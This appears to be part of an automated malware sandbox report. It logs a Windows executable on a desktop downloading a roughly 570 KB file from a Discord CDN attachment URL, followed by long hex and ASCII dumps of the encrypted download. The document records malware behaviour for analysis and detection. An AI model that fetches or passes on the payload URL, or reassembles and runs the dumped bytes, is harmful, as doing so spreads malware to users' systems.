2021-09-27 18:32:51 UTC	33	IN	Data Raw: d3 62 47 04 34 9c 38 3b 78 06 35 86 5b d8 f0 32 51 fd 5c 4c bf ba 3b 07 41 f9 ce 46 85 b3 a1 2e f5 8f 08 b0 9d 52 c9 47 17 46 00 66 03 f6 e6 af 61 5d e4 a4 1e f4 e9 88 f1 45 da 93 af 07 b8 6f 89 b8 06 d4 01 9d a4 9b 38 b3 1c 3f bf f6 58 de 2e da 76 2a 65 07 49 0f 8a e3 a2 07 96 31 78 fa a6 51 f9 70 91 cc 57 2c 41 1b b2 da 2c d2 49 cc 22 09 9a fc 31 a6 56 77 96 19 d2 5d 8d a6 b0 93 5e 7e f1 f2 d5 a9 3d 9b e9 96 6d 20 32 c0 68 2e da 77 9c 85 7a 3f d7 eb bf f9 76 d2 ee fe 6e 82 00 28 cb 51 fe c8 59 f2 d4 0d 5e b0 a8 3f 53 b5 a1 c6 32 0c a8 3c 24 dd 17 63 02 d0 46 95 56 64 77 b1 34 c3 4a cf d5 a0 b9 fd 75 6a fd 4e 6c 26 cd e0 26 1a 3e 51 e0 09 b0 6a 9c 96 d4 39 f8 bd f8 ac 9c 7e c1 06 3f 23 67 ec 23 8a 29 16 14 18 c0 ff 33 34 b1 04 0f 23 d4 d5 b1 1b 7d ac e0 Data Ascii: bG48;x5[2Q\L;AF.RGFfa]Eo8?X.v*eI1xQpW,A,I"1Vw]^~=m 2h.wz?vn(QY^?S2<$cFVdw4JujNl&&>Qj9~?#g#)34#}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.6	49741	162.159.130.233	443	C:\Users\user\Desktop\fTset285bI.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-27 18:32:51 UTC	35	OUT	GET /attachments/836211098164265024/892047706770509844/Qybpdxzxxjklicipydzdiinowujxlof HTTP/1.1 User-Agent: aswe Host: cdn.discordapp.com Cache-Control: no-cache
2021-09-27 18:32:52 UTC	35	IN	HTTP/1.1 200 OK Date: Mon, 27 Sep 2021 18:32:51 GMT Content-Type: application/octet-stream Content-Length: 569856 Connection: close CF-Ray: 6956d12c7a353748-MXP Accept-Ranges: bytes Age: 13793 Cache-Control: public, max-age=31536000 Content-Disposition: attachment;%20filename=Qybpdxzxxjklicipydzdiinowujxlof ETag: "b006f7c6421d7b2136a4e9c6c2bfd063" Expires: Tue, 27 Sep 2022 18:32:51 GMT Last-Modified: Mon, 27 Sep 2021 13:59:06 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1632751146791713 x-goog-hash: crc32c=DogVig== x-goog-hash: md5=sAb3xkIdeyE2pOnGwr/QYw== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 569856 X-GUploader-UploadID: ADPycdu1OMyXkT98zxjTRHVCO1zlNFsznssLHgmWFlRZcv5cKjkTXw9N0FnQPsX2E6Gjb2u6fH3mZT6iQLSURgJ8_ww X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
2021-09-27 18:32:52 UTC	36	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 33 3f 73 3d 68 35 71 59 6c 35 79 57 37 61 6e 4b 25 32 42 53 65 6c 77 63 33 36 53 71 4a 35 46 5a 49 6d 77 47 68 4b 54 52 55 69 59 6e 35 4f 53 25 32 46 4f 34 31 68 37 36 76 25 32 46 47 64 31 6f 75 37 7a 4f 6e 54 65 73 74 67 6d 70 6d 53 75 35 74 70 25 32 46 59 4e 54 7a 32 6e 73 42 69 53 71 6d 48 70 52 7a 39 71 67 4e 35 39 33 41 59 63 58 7a 34 49 4e 69 4e 39 6e 42 49 48 70 43 58 78 48 7a 70 57 54 33 6d 6e 64 48 50 46 4c 35 6f 33 61 6f 41 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=h5qYl5yW7anK%2BSelwc36SqJ5FZImwGhKTRUiYn5OS%2FO41h76v%2FGd1ou7zOnTestgmpmSu5tp%2FYNTz2nsBiSqmHpRz9qgN593AYcXz4INiN9nBIHpCXxHzpWT3mndHPFL5o3aoA%3D%3D"}],"group":"cf-nel","max_age
2021-09-27 18:32:52 UTC	36	IN	Data Raw: 19 c6 ec b4 32 7a aa 0e a0 08 90 64 f2 4d af b2 2a 6d 02 83 c4 d9 0e b7 b9 4c 35 81 38 0d 35 9d e7 36 09 12 b5 bd 4d af ad a8 13 37 8e 5a ce ed d8 8a 5f 63 77 20 53 5d 62 ff e2 a1 8d d8 9d e7 29 ef ca e2 a1 8d d8 9d f8 54 c6 e6 ab a0 16 a2 13 34 0c ab a5 96 6f 00 82 b0 24 58 dd 18 af b2 2a 6d 02 83 c4 d9 0e b7 b9 4c 35 81 38 0d 35 9d e7 36 09 12 b5 bd 4d af ad a8 13 37 8e 5a ce ed d8 8a 5f 63 77 20 53 5d 62 ff e2 a1 8d d8 9d e7 29 ef ca e2 a1 8d d8 9d f8 54 c6 e6 ab a0 16 a2 13 34 0c ab a5 96 6f 00 82 b0 24 58 dd 18 af b2 2a 6d 02 83 c4 d9 0e b7 b9 4c 35 81 38 0d 35 9d e7 36 09 12 b5 bd 4d af ad a8 13 37 8e 5a ce ed d8 8a 5f 63 77 20 53 5d 62 ff e2 a1 8d d8 9d e7 29 ef ca e2 a1 8d d8 9d f8 54 c6 e6 ab a0 16 a2 13 34 0c ab a5 96 6f 00 82 b0 24 58 dd 18 af Data Ascii: 2zdMmL5856M7Z_cw S]b)T4o$XmL5856M7Z_cw S]b)T4o$X*mL5856M7Z_cw S]b)T4o$X
2021-09-27 18:32:52 UTC	37	IN	Data Raw: 3b 3b 2c d0 46 99 4e 6f be 60 41 1f 6f ad 04 3c bd e4 00 2a c4 69 b7 04 3f 30 c5 ec 12 10 13 9b 52 74 23 65 cf cc 5e 49 1b 6b ba 7a 16 18 0c 09 b3 1e e2 0b 94 dc 2d 42 89 73 a9 33 21 6a 2c c7 db ab 1d 7c 0b 8e f5 7d 9f 39 31 46 8c e5 87 62 5b cf d9 bb f2 f6 e5 81 80 0a 32 df a1 21 7d 8d 66 47 07 ad 08 37 24 f1 74 23 64 54 7c 1b 6e 24 f3 60 58 6c 33 30 d4 3f 2e db b5 06 3c be 71 aa a2 bc 71 bb e9 98 de 26 de 26 c3 e9 9d 57 fd 49 1b 72 2d 48 83 6d b0 9e ae 89 70 3b 3b 2c d0 46 99 4e 6f be 60 41 1f 6f ad 04 3c bd e4 00 2a c4 69 b7 04 3f 30 c5 ec 12 10 13 9b 52 74 23 65 cf cc 5e 49 1b 6b ba 7a 16 18 0c 09 b3 1e e2 0b 94 dc 2d 42 89 73 a9 33 21 6a 2c c7 db ab 1d 7c 0b 8e f5 7d 9f 39 31 46 8c e5 87 62 5b cf d9 bb f2 f6 e5 81 80 0a 32 df a1 21 7d 8d 66 47 07 ad Data Ascii: ;;,FNo`Ao<i?0Rt#e^Ikz-Bs3!j,\|}91Fb[2!}fG7$t#dT\|n$`Xl30?.<qq&&WIr-Hmp;;,FNo`Ao<i?0Rt#e^Ikz-Bs3!j,\|}91Fb[2!}fG
2021-09-27 18:32:52 UTC	39	IN	Data Raw: bc 71 bb e9 98 de 26 de 26 c3 e9 9d 57 fd 49 1b 72 2d 48 83 6d b0 9e ae 89 70 3b 3b 2c d0 46 99 4e 6f be 60 41 1f 6f ad 04 3c bd e4 00 2a c4 69 b7 04 3f 30 c5 ec 12 10 13 9b 52 74 23 65 cf cc 5e 49 1b 6b ba 7a 16 18 0c 09 b3 1e e2 0b 94 dc 2d 42 89 73 a9 33 21 6a 2c c7 db ab 1d 7c 0b 8e f5 7d 9f 39 31 46 8c e5 87 62 5b cf d9 bb f2 f6 e5 81 80 0a 32 df a1 21 7d 8d 66 47 07 ad 08 37 24 f1 74 23 64 54 7c 1b 6e 24 f3 60 58 6c 33 30 d4 3f 2e db b5 06 3c be 71 aa a2 bc 71 bb e9 98 de 26 de 26 c3 e9 9d 57 fd 49 1b 72 2d 48 83 6d b0 9e ae 89 70 3b 3b 2c d0 46 99 4e 6f be 60 41 1f 6f ad 04 3c bd e4 00 2a c4 69 b7 04 3f 30 c5 ec 12 10 13 9b 52 74 23 65 cf cc 5e 49 1b 6b ba 7a 16 18 0c 09 b3 1e e2 0b 94 dc 2d 42 89 73 a9 33 21 6a 2c c7 db ab 1d 7c 0b 8e f5 7d 9f 39 Data Ascii: q&&WIr-Hmp;;,FNo`Ao<i?0Rt#e^Ikz-Bs3!j,\|}91Fb[2!}fG7$t#dT\|n$`Xl30?.<qq&&WIr-Hmp;;,FNo`Ao<i?0Rt#e^Ikz-Bs3!j,\|}9
2021-09-27 18:32:52 UTC	40	IN	Data Raw: f1 74 23 64 54 7c 1b 6e 24 f3 60 58 6c 33 30 d4 3f 2e db b5 06 3c be 71 aa a2 bc 71 bb e9 98 de 26 de 26 c3 e9 9d 57 fd 49 1b 72 2d 48 83 6d b0 9e ae 89 70 3b 3b 2c d0 46 99 4e 6f be 60 41 1f 6f ad 04 3c bd e4 00 2a c4 69 b7 04 3f 30 c5 ec 12 10 13 9b 52 74 23 65 cf cc 5e 49 1b 6b ba 7a 16 18 0c 09 b3 1e e2 0b 94 dc 2d 42 89 73 a9 33 21 6a 2c c7 db ab 1d 7c 0b 8e f5 7d 9f 39 31 46 8c e5 87 62 5b cf d9 bb f2 f6 e5 81 80 0a 32 df a1 21 7d 8d 66 47 07 ad 08 37 24 f1 74 23 64 54 7c 1b 6e 24 f3 60 58 6c 33 30 d4 3f 2e db b5 06 3c be 71 aa a2 bc 71 bb e9 98 de 26 de 26 c3 e9 9d 57 fd 49 1b 72 2d 48 83 6d b0 9e ae 89 70 3b 3b 2c d0 46 99 4e 6f be 60 41 1f 6f ad 04 3c bd e4 00 2a c4 69 b7 04 3f 30 c5 ec 12 10 13 9b 52 74 23 65 cf cc 5e 49 1b 6b ba 7a 16 18 0c 09 Data Ascii: t#dT\|n$`Xl30?.<qq&&WIr-Hmp;;,FNo`Ao<i?0Rt#e^Ikz-Bs3!j,\|}91Fb[2!}fG7$t#dT\|n$`Xl30?.<qq&&WIr-Hmp;;,FNo`Ao<i?0Rt#e^Ikz
2021-09-27 18:32:52 UTC	41	IN	Data Raw: 4c a5 2e 60 ab 03 91 93 f9 d0 e6 58 5c 90 7b 9a 47 64 4d bf 2b 55 89 68 8c d4 2a b7 29 59 53 e3 ec 3d 3a 1a c6 5a 0b b2 96 1f f2 ef cd 05 56 da ef 73 8d d9 f2 1f a4 02 34 47 56 6a 38 af dd ce b5 86 34 58 ab 3e 50 be 6a fe a7 c4 da 9c d9 01 04 c8 e5 06 23 76 da 38 07 83 77 5f b2 95 0d 40 20 d7 b5 cb e9 98 07 b7 1f 15 58 31 07 d8 c2 6a dd 11 7c 5a 62 73 9a 77 2e 23 4a 7d aa 14 12 1b b5 a8 ba f9 76 11 83 7c 65 69 01 03 87 8a a5 39 1d 39 35 05 57 bd 73 a8 a5 93 fa f8 55 d0 b8 0f 9e 73 18 f1 19 c1 e6 d8 08 c8 9c 00 d1 a3 1a f0 90 6a 3e 16 c1 f3 5b 1d 3c 5c b8 ef 6e 25 70 9f 1a 19 c1 9a 21 af a2 54 c8 41 ac a1 ca 92 a3 36 7a d6 2e 00 95 5d 1c dc 21 57 c8 e9 77 b9 50 af 8e 9a e0 93 71 62 aa 1b 05 a5 9c 71 ba c7 27 05 93 eb a7 22 c2 a3 37 f0 65 c2 ad e5 83 6e 3a Data Ascii: L.`X\{GdM+Uh*)YS=:ZVs4GVj84X>Pj#v8w_@ X1j\|Zbsw.#J}v\|ei995WsUsj>[<\n%p!TA6z.]!WwPqbq'"7en:
2021-09-27 18:32:52 UTC	43	IN	Data Raw: 70 22 e3 9c d6 23 63 31 ee 39 4c 91 4b 04 c5 d5 87 fe 7e c2 0f 81 80 07 0f f1 00 8f cd 01 73 b1 1a f0 e8 f4 0d 9c 54 ba 4b 00 2c c6 a9 a7 a9 5b 41 d4 06 3f 31 47 37 9a 55 6f 01 7c 2d 58 76 14 03 69 6d 91 c6 eb a7 33 3e b3 ea 85 f8 9a 55 53 dc 3c b9 ee 69 6e e4 56 fd 97 62 5e 49 1a 09 71 72 04 9c 75 eb 91 42 9a 7b c8 15 6b 23 d4 7b 86 e7 9e 98 5f 44 40 05 18 5b cd d8 23 b9 7e 8f 2d da e5 db a2 a5 32 e5 87 61 3f b8 c8 07 a8 b5 16 d7 0a ec 76 82 c4 3d 36 ae 83 2a 9f 6b 06 b6 37 f4 e9 84 ed 54 1b 05 fa 7a ae 29 5a 64 59 85 19 1e a1 ac 24 27 55 f8 f3 6a d2 a8 55 79 2a 1f 78 1b 74 e2 81 26 17 2d f7 d8 34 b4 8c cb ad 65 92 46 2b 9f 23 6b ad f2 7c 83 40 33 8f ae 9d 53 f0 99 b1 e5 4c 2c 1b aa a4 ad 10 1f 81 6d a5 81 3b e3 9f 27 51 4f a5 76 e0 b6 04 e5 93 56 78 56 Data Ascii: p"#c19LK~sTK,[A?1G7Uo\|-Xvim3>US<inVb^IqruB{k#{_D@[#~-2a?v=6k7Tz)ZdY$'UjUyxt&-4eF+#k\|@3SL,m;'QOvVxV
2021-09-27 18:32:52 UTC	44	IN	Data Raw: aa 99 45 05 b1 fe f1 50 ec 98 7b dd a1 26 ce 78 1e e5 89 ec c7 94 c1 ff 40 f9 97 a0 33 a2 07 f4 ef 76 0f fe 37 c2 95 c9 6c 7e 00 3f 32 f9 1d 09 9d da 95 19 71 bf f8 20 8a 88 b2 19 c3 b9 ec 00 37 07 a1 20 e6 bf 54 f0 f8 ec 07 5d b3 62 f5 f0 42 26 c0 61 c5 e1 83 65 c2 f4 5f 69 b1 03 b1 5f 98 8f 1b d6 fc 18 03 b1 19 96 f3 53 2a 79 2f f6 eb 98 c1 cf 62 e2 98 65 47 ca 52 7a 07 eb 26 40 0e 82 ca ea 04 31 46 68 be a5 42 32 09 71 a9 20 f1 a3 1b 53 58 cc 86 2d 44 92 d4 b7 ca 96 a9 8b d1 4f e8 0a 23 b8 bd 3d 56 c2 ae 1c f7 66 47 78 f9 9b de 89 ba ae 9f 30 c2 ae d3 eb 76 b4 4d 81 97 58 67 ad f3 90 00 93 91 81 92 d9 b1 6c 90 4a 38 1c 3b fb 4c 89 7b a1 53 8a ac 0a e8 a0 ba 6c 20 67 80 47 e1 02 fc 79 85 69 be b2 4d bd f0 56 a0 13 9f 2b 58 57 47 aa 7d 16 b3 a2 a9 22 fe Data Ascii: EP{&x@3v7l~?2q 7 T]bB&ae_i_S*y/beGRz&@1FhB2q SX-DO#=VfGx0vMXglJ8;L{Sl gGyiMV+XWG}"
2021-09-27 18:32:52 UTC	45	IN	Data Raw: 33 f4 21 93 59 e6 21 eb b5 91 f4 27 99 b3 08 3a 2f 2a 43 5e f2 3a 64 ba 7e 05 a4 1c 1b 55 45 ae 2d a3 33 3e 19 16 27 a6 03 7a ad e2 1b 7a 36 da 17 3f 8f a8 23 94 dd a2 c7 19 51 c6 f7 a3 fd b7 17 83 9f 70 1f e3 31 8d e8 e0 1c f7 da f3 39 93 f7 aa 28 31 4e 75 81 5d 16 04 a6 60 8a 17 94 c0 a7 4e 75 af 8b a2 64 a1 25 62 79 d2 24 a0 17 49 d2 a9 33 35 17 84 8f d0 de 92 0d 7d 8c ff 99 09 46 5f 47 b1 b6 6c 26 cd 40 58 30 f6 7c c1 41 f1 67 d2 15 2f 00 b1 bc c2 f6 03 ac 9d b9 e4 a0 f4 74 91 c0 84 ec 12 34 7f a9 cc ea b1 81 6d a7 39 47 80 26 e2 8d ae 33 ca 45 0b 96 9f d9 3f b8 c8 fd a4 bf fe cb 7c 85 18 9c 07 0c f0 ee e9 0e 5d 4b 85 e7 3d d1 39 3c b8 f9 6b c5 7b 08 9c 21 9b 40 b0 7d 4a c3 86 6d 0b 6e c4 77 8d bc f9 c2 32 55 50 9e 55 ef 76 b9 a6 a7 31 eb 3e 51 0d 93 Data Ascii: 3!Y!':/*C^:d~UE-3>'zz6?#Qp19(1Nu]`Nud%by$I35}F_Gl&@X0\|Ag/t4m9G&3E?\|]K=9<k{!@}Jmnw2UPUv1>Q
2021-09-27 18:32:52 UTC	47	IN	Data Raw: 5b 4d be a5 3b 3c ba 83 fd f9 a1 a0 77 4d 12 1f 7f 12 b7 36 65 6b 0f 17 95 4c 82 45 ad b8 39 aa 13 01 a1 26 ce 9e d8 9e fc 7e bd 52 64 5d cb 0a 37 63 69 2a 1d e0 14 1b 66 32 40 72 be eb 33 aa a2 a4 bf 67 82 1b 69 21 af 80 15 91 49 5b f2 2d af 88 41 8a ea 0a 33 75 36 d9 42 01 0d 3e aa a4 bf e8 4d 49 a8 3f 9a 55 e6 05 b8 96 d9 97 04 a4 12 a6 bf ec 0f 89 a6 7f 6b 17 38 57 ec 0b 9a 4d 88 30 08 ba c0 8e fe da 38 9e ea bd 08 b5 b6 6d bb eb 86 aa 5b c0 eb 2b 99 a2 b3 09 ad 15 16 a3 73 09 1c 02 30 da 20 13 73 ab ff fd d9 4a 8a e0 0c f9 bb 01 1e 68 f4 04 37 34 bf 45 7b c3 20 44 5e a2 b3 08 3a 0f 95 d4 df 0b 56 64 44 92 d4 a5 7d 00 72 8f d8 25 70 2d 4c 00 bd 24 92 73 6c 28 dd a7 2b 2f 1b 1f 1f c2 ad 00 37 3e a1 58 db 7c 98 66 80 12 1f 79 96 40 9a 12 66 ed b6 85 6e Data Ascii: [M;<wM6ekLE9&~Rd]7ci*f2@r3gi!I[-A3u6B>MI?Uk8WM08m[+s0 sJh74E{ D^:VdD}r%p-L$sl(+/7>X\|fy@fn
2021-09-27 18:32:52 UTC	48	IN	Data Raw: 95 7d 11 ed 79 a0 e5 93 1d d9 7a f5 65 cc 4b 05 b2 82 05 04 f4 13 99 5c 5d ca 77 e2 a9 0b 36 71 40 a0 b8 7c 37 52 c6 96 c2 75 b0 98 ff 95 e0 0f 97 43 08 d0 b4 d3 a6 aa 65 34 09 3d 2a 1c 1d 2c d8 02 06 9c 25 47 a4 fd 49 17 89 7a d1 70 ce 4f f1 67 f3 b3 c8 43 37 f3 01 57 aa fc c5 f1 23 64 45 16 18 ce f4 08 c9 c7 cb f7 af ab 1d 6a 38 bf d1 35 14 51 ef 7b d5 ba 7d 89 61 61 61 c2 64 48 8f 51 39 8c f2 ee ed 6e 17 60 3e e6 0d 99 03 b7 bd 49 ed 6a 3a af 39 fb 9b 58 60 42 89 5c b4 d6 66 47 1b b0 38 c2 46 5c cd f8 2c 29 66 d6 e7 75 31 5d 46 ea 61 d2 0f b8 cc aa 12 cb c3 21 67 75 86 f7 5c 60 6b 0b 64 df 09 a3 fe 3e a9 32 df a0 10 bb f0 a4 ad 11 94 c7 df 40 14 67 06 67 d3 76 08 8f f7 7f 45 f6 e0 1b 76 0d 07 3e bd 33 d5 af 02 34 bd e5 99 88 b6 99 f9 3f 28 1d 74 80 a8 Data Ascii: }yzeK\]w6q@\|7RuCe4=*,%GIzpOgC7W#dEj85Q{}aaadHQ9n`>Ij:9X`B\fG8F\,)fu1]Fa!gu\`kd>2@ggvEv>34?(t
2021-09-27 18:32:52 UTC	49	IN	Data Raw: 5c 50 6d a4 2f 0a fa e7 18 a1 31 ea a4 b3 75 5f 11 84 3b c5 e1 9f 33 3b 9f 79 4f e2 84 66 4e 0d 77 2b 17 6b 67 d2 53 64 4a 97 82 eb 89 60 4d 00 43 3d ae 9b d8 38 bf 91 7a 0d 56 87 74 21 77 97 fe eb 30 da e0 fe dc 2d 42 89 b5 59 2b 40 00 ad 1e 52 d3 b5 60 51 44 ad f4 23 8a ef 79 8a e2 aa 9d f4 f3 de b2 8f 09 ad af 3c 5d 6c 1a 0f 27 01 b3 ab 1b 69 07 56 7b 83 6d b1 7e 5a dd a6 1a 60 28 9f 3e 30 ce 5f 55 15 85 76 0e 06 ef 27 8a e2 ba 7f 88 48 73 b5 17 90 dd 62 67 7e 0b 33 ad 1c 29 c3 e6 74 fc 12 e5 28 3f 33 21 6a 2c 61 9b c4 6d 2b cd d5 c6 c1 5f 9d b0 0c 05 b2 21 7f 85 b4 75 aa ab 1b 76 a8 95 90 c3 25 8b 7d 9a c7 db c6 7e 8e f9 d0 ad 65 eb 94 48 93 5c 96 2c c4 72 36 b3 c5 ae 07 b7 9c 6d b3 a9 85 65 be 8c 2d 7c f7 dd 5a 71 bb ea 05 6a 0a 96 d1 6f 04 2d 33 d3 Data Ascii: \Pm/1u_;3;yOfNw+kgSdJ`MC=8zVt!w0-BY+@R`QD#y<]l'iV{m~Z`(>0_Uv'Hsbg~3)t(?3!j,am+_!uv%}~eH\,r6me-\|Zqjo-3
2021-09-27 18:32:52 UTC	51	IN	Data Raw: 86 3e 39 71 a4 91 eb 6c 08 88 27 54 67 d5 b9 cc 8a 0d ac 31 9c da 3f 20 ed 4c 34 5a 47 a4 2b cd b9 88 f9 d9 24 db 6e c9 1a 11 da 16 b4 bb ec b5 eb 91 91 a9 3f 30 c4 dc 2f 54 0d af 02 31 8c 78 1f 65 c2 ae f9 68 1a 4f 21 c3 fb 49 0a 0a 4f 23 27 24 dc 99 72 ea b9 64 54 5c 48 9b 7d 3b 77 84 68 46 6e 5a 49 2d 72 00 fc 19 95 c9 aa 67 a5 48 fc ea ae f9 a2 05 1d 7a 18 fc d5 ea 18 11 df a7 91 cb 80 c1 e5 83 c3 99 ad 27 73 4d c7 97 45 05 1d b0 94 2d e4 32 dd ef 65 00 91 07 10 18 0a 09 6f 97 88 d3 d4 ca 00 69 a5 2d f1 d6 62 f0 5a 3a b3 c3 e6 5b 82 a4 df b1 07 bc 65 d6 b7 0a 6d e1 2c 64 41 63 63 76 8f 3e b7 bf 98 a5 3a a9 21 6d ea 17 f3 05 0d db 41 3a 8a 90 7d b2 43 f7 5a be ce 0d eb 96 6b 55 b1 e1 58 19 62 2c 7c be f7 6d f2 39 33 22 22 ce a5 e0 ea 5d 35 8c e9 92 84 Data Ascii: >9ql'Tg1? L4ZG+$n?0/T1xehO!IO#'$rdT\H};whFnZI-rgHz'sME-2eoi-bZ:[em,dAccv>:!mA:}CZkUXb,\|m93""]5
2021-09-27 18:32:52 UTC	52	IN	Data Raw: 93 9d a3 10 f6 26 5e 48 96 9b 52 32 d5 55 f9 e3 86 e5 64 20 5c 46 91 03 bb a8 a9 da 56 a2 be 7e c5 74 21 55 51 8b 9c fa 15 e0 ad 16 0a 79 99 1e fc 31 44 57 fa ec ca fc c0 53 43 a7 c2 4c 79 99 f8 ee e7 da 34 ef 70 c4 f6 28 de 20 26 7c 10 2e 0b b5 e4 25 85 42 9d 5a 71 61 48 92 1f 1c 04 1c bf e2 2c 38 48 a8 a5 2d f0 6d a3 13 54 6e 23 64 49 39 86 10 35 91 78 67 60 69 73 4b 38 6c ff 4b ec ca e1 30 7b a5 fb cb e5 f7 da e1 a7 9e 48 32 37 89 6a 2f 5e 64 71 d5 25 2c d7 b6 96 d2 63 7e b7 4c 6f b9 fc f5 56 a5 93 06 c1 f9 70 c6 98 f2 e1 90 8c ff 41 0d 8b ac 5c 0f 9a d4 3e ec 12 3d bc be 31 47 0e 1a f3 9d 1e df bf fc b7 90 9a d0 47 1b 6e 0b 2d fc 9d 4f f8 eb b8 45 de ee ac 99 5c 4a 60 79 a8 a2 b0 ed df f7 77 96 d1 c1 d9 7e c5 ba 68 2e db 8f f6 93 a3 20 ee f1 66 63 0a Data Ascii: &^HR2Ud \FV~t!UQy1DWSCLy4p( &\|.%BZqaH,8H-mTn#dI95xg`isK8lK0{H27j/^dq%,c~LoVpA\>=1GGn-OE\J`yw~h. fc
2021-09-27 18:32:52 UTC	53	IN	Data Raw: f1 b2 31 fe c2 67 c1 cf e1 a2 4d 3a 8d 6b b8 c1 4b 1d 25 7b c2 78 b0 90 da 28 d6 25 8a 8d 59 fa e0 19 a2 25 a7 91 ea 03 a2 a5 d4 65 e9 86 f5 34 b1 a6 68 b5 38 02 b6 51 4f f3 63 e6 da e5 1c 4d 17 95 bb dc 16 02 31 7c f6 11 bc 78 19 c0 ce 5e 78 99 25 51 5e e9 4c 86 f8 f7 d8 3e b5 18 30 18 18 00 3a ad 20 2d b7 22 45 32 f3 1f fc f7 af ea 22 41 88 c9 1b 87 59 2d 15 8c cd 78 b4 20 f3 66 44 2c d2 59 53 35 2b 43 0b b1 39 db 5b 2b 47 19 fe 1f 5e 73 af 10 85 b7 63 24 63 dc 28 ce fb 9e 9e 9d 48 88 cd 7d 3a 21 b7 01 b5 36 76 99 b9 49 14 1b 5e ba fb 63 d1 c0 25 71 16 bc e5 98 cc 4f d0 61 3c 2f 66 5a 73 1b e4 33 80 99 65 cf dd b6 84 be 66 68 a8 62 76 0d 8a f0 f8 f2 e4 15 6f 2b 7b 99 5b 14 a4 b1 d6 8e dd a4 a3 26 6f 11 1c fb 55 e7 a4 64 22 e4 df 10 36 a7 3f 35 37 fd 7a Data Ascii: 1gM:kK%{x(%Y%e4h8QOcM1\|x^x%Q^L>0: -"E2"AY-x fD,YS5+C9[+G^sc$c(H}:!6vI^c%qOa</fZs3efhbvo+{[&oUd"6?57z
2021-09-27 18:32:52 UTC	55	IN	Data Raw: 55 af 1d 4b 14 a3 5f 3f 66 44 d9 ad 2c 62 73 b4 71 21 4b 0f 93 12 1c 49 2c 4d 33 fd 92 1c f5 6d b1 37 d9 df 82 1f 7d 4b c4 b3 03 bf fa b0 5d 9a d9 39 7e 0e 52 66 69 0d 31 7e 22 17 d0 bf ee fe 63 55 81 a3 fb fd 10 49 4d 1d ba 44 3a 96 63 08 9c e6 50 76 49 09 ed 6f f4 ef 29 40 e5 93 1e fa 26 67 02 27 4f ff 79 d0 58 6b 2d fc 25 43 b4 ec 99 f5 88 d2 df 2a 44 46 ee d0 78 dd 52 5e 94 98 d5 ed 61 eb 6e 8f d5 a4 a3 48 24 24 4e 67 a1 b6 8d 7f 9a c4 25 21 5d 1c 3a b9 eb 84 ff 9a 7a 2a d1 d2 52 b0 2b 54 7a 18 14 8a 20 29 53 f9 69 50 ff 99 49 06 e7 2d 41 c3 fd 59 e4 16 3c 9f 96 99 23 fb b0 a6 42 19 fb 3a c5 60 69 0e e7 3a 5f fe c9 d5 b5 3a 14 38 b0 ad a3 d7 a6 19 21 74 32 d0 f3 21 7a ac 80 1b be 43 03 a3 23 44 f2 5f 9d 58 6b b4 99 79 55 26 3b 2f 48 8e 82 a5 13 25 0c Data Ascii: UK_?fD,bsq!KI,M3m7}K]9~Rfi1~"cUIMD:cPvIo)@&g'OyXk-%CDFxR^anH$$Ng%!]:zR+Tz )SiPI-AY<#B:`i:_:8!t2!zC#D_XkyU&;/H%
2021-09-27 18:32:52 UTC	56	IN	Data Raw: 12 eb d7 b6 bf ec a7 58 82 50 6c 6b a9 b0 e4 c9 ea 15 a8 a9 89 12 8b 2a c2 2b 52 ef 0f 13 d6 26 f5 7e 97 32 4e 21 66 3e b2 20 81 5b bb f2 f6 e5 3f 5d 4f df bf c2 70 83 03 16 50 71 e2 0b 36 d5 2a ff 54 f0 e5 05 c6 c1 d4 2c aa aa 35 43 b1 6f ac 90 cf 60 e9 d9 a6 ab 1f 5f dd ef 6a 92 13 dd a5 2c d3 e9 85 2f 5e f5 a6 f4 e5 98 c8 6c 24 a3 3e 0f 52 3f 34 ab 1f 2c d3 d8 36 11 58 20 fe d4 3d 4a 95 3c bd 5c 91 1e e2 10 18 3f 2d 08 25 f7 0b 52 4e 69 aa a1 de be c8 5c 4d b1 d9 a4 a8 a4 ac ae 59 5b 20 d6 90 91 56 61 d5 9f 10 d0 83 97 55 ec 14 f5 e4 a4 ac 94 10 aa 62 5e 4b 06 06 c1 b6 a7 33 28 1e 5f e0 51 fd e4 b5 5e 7a da 41 ba 55 5e eb 7c 0c 1f 66 6e c8 24 da 30 c4 27 5e e5 b5 ab 24 56 a1 df af 1e f6 ca b3 2b 9c 01 30 e8 b8 c4 9a c4 60 5a 48 75 aa 98 d1 c1 ac 9e 03 Data Ascii: XPlk+R&~2N!f> [?]OpPq6T,5Co`_j,/^l$>R?4,6X =J<\?-%RNi\MY[ VaUb^K3(_Q^zAU^\|fn$0'^$V+0`ZHu
